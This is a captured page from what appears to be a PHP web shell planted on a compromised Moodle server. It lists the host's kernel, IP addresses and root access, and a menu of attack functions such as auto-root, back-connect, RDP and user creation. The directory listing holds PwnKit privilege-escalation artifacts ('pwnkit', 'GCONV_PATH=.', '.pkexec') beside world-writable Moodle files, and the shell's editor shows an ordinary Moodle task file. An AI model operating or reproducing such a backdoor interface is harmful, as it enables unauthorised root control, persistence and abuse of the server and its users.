Linux vmi284606.contaboserver.net 4.15.0-213-generic #224-Ubuntu SMP Mon Jun 19 13:30:12 UTC 2023 x86_64
Apache/2.4.57 (Ubuntu)
: 167.86.127.34 | : 216.73.217.31
Cant Read [ /etc/named.conf ]
7.2.24-0ubuntu0.18.04.17
root
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
README
+ Create Folder
+ Create File
/
var /
www /
html /
moodle /
lib /
classes /
task /
[ HOME SHELL ]
Name
Size
Permission
Action
.pkexec
[ DIR ]
drwxr-xr-x
GCONV_PATH=.
[ DIR ]
drwxr-xr-x
.mad-root
0
B
-rw-r--r--
adhoc_task.php
4.31
KB
-rwxrwxrwx
analytics_cleanup_task.php
1.73
KB
-rwxrwxrwx
asynchronous_backup_task.php
3.21
KB
-rwxrwxrwx
asynchronous_copy_task.php
9.11
KB
-rwxrwxrwx
asynchronous_restore_task.php
3.15
KB
-rwxrwxrwx
automated_backup_task.php
1.65
KB
-rwxrwxrwx
backup_cleanup_task.php
2.5
KB
-rwxrwxrwx
badges_cron_task.php
3.14
KB
-rwxrwxrwx
badges_message_task.php
2.17
KB
-rwxrwxrwx
blog_cron_task.php
2.16
KB
-rwxrwxrwx
build_installed_themes_task.ph...
1.73
KB
-rwxrwxrwx
cache_cleanup_task.php
1.38
KB
-rwxrwxrwx
cache_cron_task.php
1.33
KB
-rwxrwxrwx
calendar_cron_task.php
2.19
KB
-rwxrwxrwx
calendar_fix_orphaned_events.p...
2.63
KB
-rwxrwxrwx
check_for_updates_task.php
1.6
KB
-rwxrwxrwx
clean_up_deleted_search_area_t...
1.71
KB
-rwxrwxrwx
complete_plans_task.php
1.89
KB
-rwxrwxrwx
completion_daily_task.php
6.2
KB
-rwxrwxrwx
completion_regular_task.php
8.12
KB
-rwxrwxrwx
context_cleanup_task.php
1.64
KB
-rwxrwxrwx
course_backup_task.php
4.05
KB
-rwxrwxrwx
create_contexts_task.php
1.54
KB
-rwxrwxrwx
database_logger.php
5.46
KB
-rwxrwxrwx
delete_incomplete_users_task.p...
2.58
KB
-rwxrwxrwx
delete_unconfirmed_users_task....
2.12
KB
-rwxrwxrwx
file_temp_cleanup_task.php
4.24
KB
-rwxrwxrwx
file_trash_cleanup_task.php
1.44
KB
-rwxrwxrwx
grade_cron_task.php
3.15
KB
-rwxrwxrwx
grade_history_cleanup_task.php
2.09
KB
-rwxrwxrwx
h5p_get_content_types_task.php
2.21
KB
-rwxrwxrwx
legacy_plugin_cron_task.php
7.59
KB
-rwxrwxrwx
logging_trait.php
3.13
KB
-rwxrwxrwx
logmanager.php
9.82
KB
-rwxrwxrwx
manager.php
34.77
KB
-rwxrwxrwx
messaging_cleanup_task.php
2.72
KB
-rwxrwxrwx
password_reset_cleanup_task.ph...
1.95
KB
-rwxrwxrwx
plagiarism_cron_task.php
2.25
KB
-rwxrwxrwx
portfolio_cron_task.php
2.91
KB
-rwxrwxrwx
pwnkit
10.99
KB
-rwxr-xr-x
question_preview_cleanup_task....
2.83
KB
-rwxrwxrwx
question_stats_cleanup_task.ph...
2.11
KB
-rwxrwxrwx
refresh_mod_calendar_events_ta...
2.74
KB
-rwxrwxrwx
registration_cron_task.php
1.37
KB
-rwxrwxrwx
scheduled_task.php
12.4
KB
-rwxrwxrwx
search_index_task.php
2.27
KB
-rwxrwxrwx
search_optimize_task.php
1.76
KB
-rwxrwxrwx
send_failed_login_notification...
7.96
KB
-rwxrwxrwx
send_new_user_passwords_task.p...
3.25
KB
-rwxrwxrwx
session_cleanup_task.php
1.76
KB
-rwxrwxrwx
stats_cron_task.php
2
KB
-rwxrwxrwx
sync_plans_from_template_cohor...
2.24
KB
-rwxrwxrwx
tag_cron_task.php
11.28
KB
-rwxrwxrwx
task_base.php
3.87
KB
-rwxrwxrwx
task_log_cleanup_task.php
1.64
KB
-rwxrwxrwx
task_logger.php
2.36
KB
-rwxrwxrwx
Delete
Unzip
Zip
${this.title}
Close
Code Editor : send_failed_login_notifications_task.php
<?php // This file is part of Moodle - http://moodle.org/ // // Moodle is free software: you can redistribute it and/or modify // it under the terms of the GNU General Public License as published by // the Free Software Foundation, either version 3 of the License, or // (at your option) any later version. // // Moodle is distributed in the hope that it will be useful, // but WITHOUT ANY WARRANTY; without even the implied warranty of // MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the // GNU General Public License for more details. // // You should have received a copy of the GNU General Public License // along with Moodle. If not, see <http://www.gnu.org/licenses/>. /** * Scheduled task class. * * @package core * @copyright 2013 onwards Martin Dougiamas http://dougiamas.com * @license http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later */ namespace core\task; /** * Simple task to send notifications about failed login attempts. */ class send_failed_login_notifications_task extends scheduled_task { /** The maximum time period to look back (30 days = 30 * 24 * 3600) */ const NOTIFY_MAXIMUM_TIME = 2592000; /** * Get a descriptive name for this task (shown to admins). * * @return string */ public function get_name() { return get_string('tasksendfailedloginnotifications', 'admin'); } /** * Do the job. * Throw exceptions on errors (the job will be retried). */ public function execute() { global $CFG, $DB; if (empty($CFG->notifyloginfailures)) { return; } $recip = get_users_from_config($CFG->notifyloginfailures, 'moodle/site:config'); // Do not look back more than 1 month to avoid crashes due to huge number of records. $maximumlastnotifytime = time() - self::NOTIFY_MAXIMUM_TIME; if (empty($CFG->lastnotifyfailure) || ($CFG->lastnotifyfailure < $maximumlastnotifytime)) { $CFG->lastnotifyfailure = $maximumlastnotifytime; } // If it has been less than an hour, or if there are no recipients, don't execute. if (((time() - HOURSECS) < $CFG->lastnotifyfailure) || !is_array($recip) || count($recip) <= 0) { return; } // We need to deal with the threshold stuff first. if (empty($CFG->notifyloginthreshold)) { $CFG->notifyloginthreshold = 10; // Default to something sensible. } // Get all the IPs with more than notifyloginthreshold failures since lastnotifyfailure // and insert them into the cache_flags temp table. $logmang = get_log_manager(); $readers = $logmang->get_readers('\core\log\sql_internal_table_reader'); $reader = reset($readers); $readername = key($readers); if (empty($reader) || empty($readername)) { // No readers, no processing. return true; } $logtable = $reader->get_internal_log_table_name(); $sql = "SELECT ip, COUNT(*) FROM {" . $logtable . "} WHERE eventname = ? AND timecreated > ? GROUP BY ip HAVING COUNT(*) >= ?"; $params = array('\core\event\user_login_failed', $CFG->lastnotifyfailure, $CFG->notifyloginthreshold); $rs = $DB->get_recordset_sql($sql, $params); foreach ($rs as $iprec) { if (!empty($iprec->ip)) { set_cache_flag('login_failure_by_ip', $iprec->ip, '1', 0); } } $rs->close(); // Get all the INFOs with more than notifyloginthreshold failures since lastnotifyfailure // and insert them into the cache_flags temp table. $sql = "SELECT userid, count(*) FROM {" . $logtable . "} WHERE eventname = ? AND timecreated > ? GROUP BY userid HAVING count(*) >= ?"; $params = array('\core\event\user_login_failed', $CFG->lastnotifyfailure, $CFG->notifyloginthreshold); $rs = $DB->get_recordset_sql($sql, $params); foreach ($rs as $inforec) { if (!empty($inforec->info)) { set_cache_flag('login_failure_by_id', $inforec->userid, '1', 0); } } $rs->close(); // Now, select all the login error logged records belonging to the ips and infos // since lastnotifyfailure, that we have stored in the cache_flags table. $namefields = get_all_user_name_fields(true, 'u'); $sql = "SELECT * FROM ( SELECT l.*, u.username, $namefields FROM {" . $logtable . "} l JOIN {cache_flags} cf ON l.ip = cf.name LEFT JOIN {user} u ON l.userid = u.id WHERE l.eventname = ? AND l.timecreated > ? AND cf.flagtype = 'login_failure_by_ip' UNION ALL SELECT l.*, u.username, $namefields FROM {" . $logtable . "} l JOIN {cache_flags} cf ON l.userid = " . $DB->sql_cast_char2int('cf.name') . " LEFT JOIN {user} u ON l.userid = u.id WHERE l.eventname = ? AND l.timecreated > ? AND cf.flagtype = 'login_failure_by_info') t ORDER BY t.timecreated DESC"; $params = array('\core\event\user_login_failed', $CFG->lastnotifyfailure, '\core\event\user_login_failed', $CFG->lastnotifyfailure); // Init some variables. $count = 0; $messages = ''; // Iterate over the logs recordset. $rs = $DB->get_recordset_sql($sql, $params); foreach ($rs as $log) { $a = new \stdClass(); $a->time = userdate($log->timecreated); if (empty($log->username)) { // Entries with no valid username. We get attempted username from the event's other field. $other = \tool_log\helper\reader::decode_other($log->other); $a->info = empty($other['username']) ? '' : $other['username']; $a->name = get_string('unknownuser'); } else { $a->info = $log->username; $a->name = fullname($log); } $a->ip = $log->ip; $messages .= get_string('notifyloginfailuresmessage', '', $a)."\n"; $count++; } $rs->close(); // If we have something useful to report. if ($count > 0) { $site = get_site(); $subject = get_string('notifyloginfailuressubject', '', format_string($site->fullname)); // Calculate the complete body of notification (start + messages + end). $params = array('id' => 0, 'modid' => 'site_errors', 'chooselog' => '1', 'logreader' => $readername); $url = new \moodle_url('/report/log/index.php', $params); $body = get_string('notifyloginfailuresmessagestart', '', $CFG->wwwroot) . (($CFG->lastnotifyfailure != 0) ? '('.userdate($CFG->lastnotifyfailure).')' : '')."\n\n" . $messages . "\n\n".get_string('notifyloginfailuresmessageend', '', $url->out(false).' ')."\n\n"; // For each destination, send mail. mtrace('Emailing admins about '. $count .' failed login attempts'); foreach ($recip as $admin) { // Emailing the admins directly rather than putting these through the messaging system. email_to_user($admin, \core_user::get_noreply_user(), $subject, $body); } } // Update lastnotifyfailure with current time. set_config('lastnotifyfailure', time()); // Finally, delete all the temp records we have created in cache_flags. $DB->delete_records_select('cache_flags', "flagtype IN ('login_failure_by_ip', 'login_failure_by_info')"); } }
Close